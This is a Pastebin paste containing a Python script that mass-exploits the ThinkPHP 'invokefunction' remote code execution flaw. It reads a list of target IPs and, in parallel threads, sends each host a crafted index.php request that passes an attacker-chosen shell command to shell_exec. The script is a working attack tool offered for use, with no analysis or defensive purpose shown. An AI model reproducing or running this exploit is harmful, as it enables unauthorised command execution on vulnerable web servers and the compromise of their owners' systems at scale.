Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #! python !#
- import threading, sys, time, random, re, os, struct, array, requests
- from sys import stdout
- from threading import Thread
- ips = open(sys.argv[1], "r").readlines()
- payload = "YOUR PAYLOAD".replace(" ", "%20")
- class think(threading.Thread):
- def __init__ (self, ip):
- threading.Thread.__init__(self)
- self.ip = str(ip).rstrip('\n')
- def run(self):
- try:
- print "[think] - " + self.ip
- url = "http://" + self.ip + "/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=" + payload
- requests.get(url, timeout=10)
- except Exception as e:
- pass
- for ip in ips:
- try:
- n = think(ip)
- n.start()
- time.sleep(0.03)
- except:
- pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement